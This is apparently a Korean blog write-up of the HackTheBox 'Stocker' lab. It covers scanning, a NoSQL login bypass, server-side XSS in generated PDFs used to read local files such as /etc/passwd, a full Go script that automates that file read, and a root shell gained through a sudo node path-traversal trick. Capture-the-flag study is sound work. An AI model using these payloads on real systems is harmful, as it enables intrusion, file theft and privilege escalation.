[HTB] Stocker

쥬스몬·2023년 4월 28일
0

HackTheBox

목록 보기
14/37

이번 머신을 풀이 과정에서 초기 침투를 진행하지 못해 구글링을 통해 알아내게되었으며, 정찰을 통해 취약점에 접근하는것이 아닌 공격자의 꼼꼼함(?)으로 발생할 수 있는 취약점이였다. 그렇기에 풀이 과정을 기록할지 고민하다가 나중에 또 복기할 수 있으니 포스팅하기로 결정했다.

머신을 실행하고 발급된 머신의 IP를 대상으로 포트스캔을 먼저 진행했다.

naabu -host 10.10.11.208 -p - --nmap-cli "nmap -sV"

대상 호스트에는 22/tcp, 80,tcp가 오픈되어있으며 웹 서비스에 접근하여 확인된 도메인은 stocker.htb이다.

웹사이트에 접근하여 여러가지 메뉴들을 확인해보고, Wappalyzer를 통해 확인되는 서비스가 사용중인 스펙에 대해서 알려진 CVE가 존재하는지 확인해보고 시도했으나 유효하지 못했다.

ffuf를 통해 디렉터리 스캔을 진행하여도 일반적인 js, css, index.html만 확인 가능했고 정보가 노출되거나 공격이 가능해보이는 부분은 없었다.

메인 웹서비스에서 발견할 수 있는것은 없어보여 vhost를 스캔하였으며, 스캔결과 dev.stocker.htb를 발견할 수 있었다.

ffuf -w vhost-wordlist.txt -H "Host: FUZZ.stocker.htb" -u http://stocker.htb

직접 접근해서 확인하니 로그인 페이지가 발견됐다.

위에서 진행한것과 동일하게 정찰을 진행했으나 건질만한 내용은 없었으며, 디렉터리 스캔 결과는 다음과 같이 확인됐다.

/stock 경로에 접근해 보았으나 You must be authenticated to access this page. 메세지와 함께 로그인 페이지로 리다이렉트된다. 결과적으로 해당 서비스는 로그인 로직에서 공격이 가능할 것이라고 예상되어 일반적인 SQLi를 시도 및 sqlmap을 돌려봤으나 얻을 수 있는 정보는 없었다.

여기서 많은 시간이 소요되었으며 결국 구글링하여 문제 풀이를 확인해보니 dev.stocker.htb에서 로그인 시 백앤드에서 NoSQL을 통해 쿼리한다는 점만 알게되었다.

이부분에서 문제 풀이 게시자가 어떤 근거로 NoSQL을 인지한것인지 알아보았으나 그런 부분은 확인할 수 없었기에 결과적으로 앞으로 나같은 단순한 공격자는 SQLi 공격을 하더라도 싱글쿼터, 더블쿼터, 주석 구문 등을 통해 단순하게 정찰하는것에서 NoSQLi도 확인하는 꼼꼼함이 필요한것을 느껴버렸다 😭.

NoSQLi는 일반적으로 아래와 같은 형태로 테스트가 가능하다.

참고 : HackTricks NoSQL Injection

NoSQLi가 성공하여 세션이 발급되면서 /stock 경로로 리다이렉트된다.

해당 페이지는 카트에 상품을 담고 주문이 가능한 페이지로 주문 시 사용되는 API는 /api/oder로 확인된다.

주문이 성공적으로 진행되면 다음과 같이 주문서를 확인할 수 있는 페이지를 링크한다.

여기서 확인되는 주문서의 경로는 /api/po/[주문번호]로 확인되었으며 /api/order로 전송되는 json데이터에 LFI나 ProtoType Pollution등의 공격을 시도했지만 불가능했다.

여러 테스트를 진행하면서 json으로 전달되는 값들이 PDF로 들어가게되며 이전에 트위터 #BugBountyTips에서 확인했던 팁이 생각나서 급하게 따봉 누른 트윗과 SaveToNotion을 뒤져서 XSS to Exfiltrate Data from PDFs 블로그 글을 다시 정독했다.

사용자로부터 입력받은 데이터를 기반으로 PDF를 생성하는 과정에서 Server Side XSS 가 가능했으며, 아래와 같이 테스트가 가능하다.

<script>document.write(document.location.href)</script>

해당 스크립트를 /api/order에 전달되는 json의 title부분에 삽입하여 주문서 PDF를 확인해보니 스크립트가 동작한것을 확인할 수 있었다.

추가적으로 다음 스크립트를 이용해서 LFI가 가능하다.

<iframe src='file:///etc/passwd' width=1000 height=1000></iframe>

해당 과정을 통해 대상 시스템의 로컬 파일을 불러오는 과정이 번거로워 Go를 통해 간단한 자동화를 진행하였다 (order api 호출 - response 내 orderId 획득 - pdf 다운로드 - pdf 문자열 파싱)

package main

import (
	"bytes"
	"crypto/tls"
	"encoding/json"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"strings"

	"github.com/ledongthuc/pdf"
)

type OrderReq struct {
	Basket []OrderBasket `json:"basket"`
}

type OrderBasket struct {
	ID           string `json:"_id"`
	Title        string `json:"title"`
	Description  string `json:"description"`
	Image        string `json:"image"`
	Price        int    `json:"price"`
	CurrentStock int    `json:"currentStock"`
	V            int    `json:"__v"`
	Amount       int    `json:"amount"`
}

type OrderRes struct {
	Success bool   `json:"success"`
	OrderID string `json:"orderId`
}

const (
	FILE_PATH string = "result.pdf"
)

func main() {
	if len(os.Args) < 2 {
		fmt.Println("Usage : server-side-xss-to-lfi file-path")
		os.Exit(0)
	}
	filePath := os.Args[1]

	var client *http.Client = &http.Client{
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
	}

	var order OrderReq
	order.Basket = append(order.Basket, OrderBasket{
		ID:           "638f116eeb060210cbd83a8d",
		Title:        "[START]<iframe src='file://" + filePath + "'></iframe>[END]",
		Description:  "It's a red cup.",
		Image:        "red-cup.jpg",
		Price:        32,
		CurrentStock: 4,
		V:            0,
		Amount:       1,
	})
	orderReqBody, _ := json.Marshal(order)
	req, _ := http.NewRequest("POST", "http://dev.stocker.htb/api/order", bytes.NewBufferString(string(orderReqBody)))
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Cookie", "connect.sid=s%3AfLvGwhifzIvH3DU6pPWe2U-vle5DHHoH.0vYegCKiBquEeNS31U1QA5e5U83FJvWqUbUYf5xCoco")
	res, err := client.Do(req)
	if err != nil {
		panic(err)
	}

	orderResBody, _ := ioutil.ReadAll(res.Body)
	orderResBodyData := OrderRes{}
	json.Unmarshal(orderResBody, &orderResBodyData)

	resp, err := http.Get("http://dev.stocker.htb/api/po/" + orderResBodyData.OrderID)
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()

	out, _ := os.Create(FILE_PATH)
	defer out.Close()
	io.Copy(out, resp.Body)

	pdf.DebugOn = true
	content, err := readPdf(FILE_PATH) // Read local pdf file
	if err != nil {
		panic(err)
	}

	startIndex := strings.Index(content, "[START]")
	endIndex := strings.Index(content, "[END]")
	if startIndex == -1 || endIndex == -1 {
		log.Fatal("Error: [START] or [END] not found in the text")
		return
	}
	result := content[startIndex+len("[START]") : endIndex]
	fmt.Println(result)
	os.Remove(FILE_PATH)
}

func readPdf(path string) (string, error) {
	f, r, err := pdf.Open(path)
	if err != nil {
		return "", err
	}
	defer f.Close()

	var buf bytes.Buffer
	b, err := r.GetPlainText()
	if err != nil {
		return "", err
	}
	buf.ReadFrom(b)
	return buf.String(), nil
}

이렇게 LFI를 여러번 진행하여 /etc/nginx/nginx.conf에서 vhost로 동작하는 dev.stocker.htb 서비스의 웹 루트 경로를 확인할 수 있었다.

위에서 누락되었지만 dev 호스트는 NodeJS Express를 사용한다. 즉 /var/www/dev 경로에서 js파일들을 추측하여 대입하였고 index.js를 확인할 수 있었고, 소스코드에서 MongoDB 계정정보를 탈취할 수 있었다.

MongoDB는 대상 호스트 로컬에서만 접근이 가능했으며 직접적인 접근은 불가능했지만 LFI를 통해 /etc/passwd에서 알아낸 일반유저(angoose)에 SSH 접근을 시도했고 패스워드를 입력하니 접근이 가능했다.

이후 습관적으로 권한 상승을 위해 sudo -l 명령을 통해 sudo 권한을 확인하니 아래와같이 특정 디렉터리의 js파일을 NodeJS로 실행할 수 있는 권한이 존재했다.

확인하자마자 아이코! 감사합니다! 하면서 /tmp 디렉터리에 shell.js를 생성했고 다음과 같이 작성했다.

참고 : GTFOBins#node

require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})

sudo 리스트에서 /usr/local/scripts/*.js 와 같이 특정 경로의 js만 실행 가능하지만 Path Traversal을 통해 쉽게 우회가 가능하다. 결과적으로 제작한 /tmp/shell.js는 아래와 같이 실행한다.

sudo /usr/bin/node /usr/local/scripts/../../../tmp/shell.js

이렇게 Stocker 머신도 완료할 수 있었다 : )

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글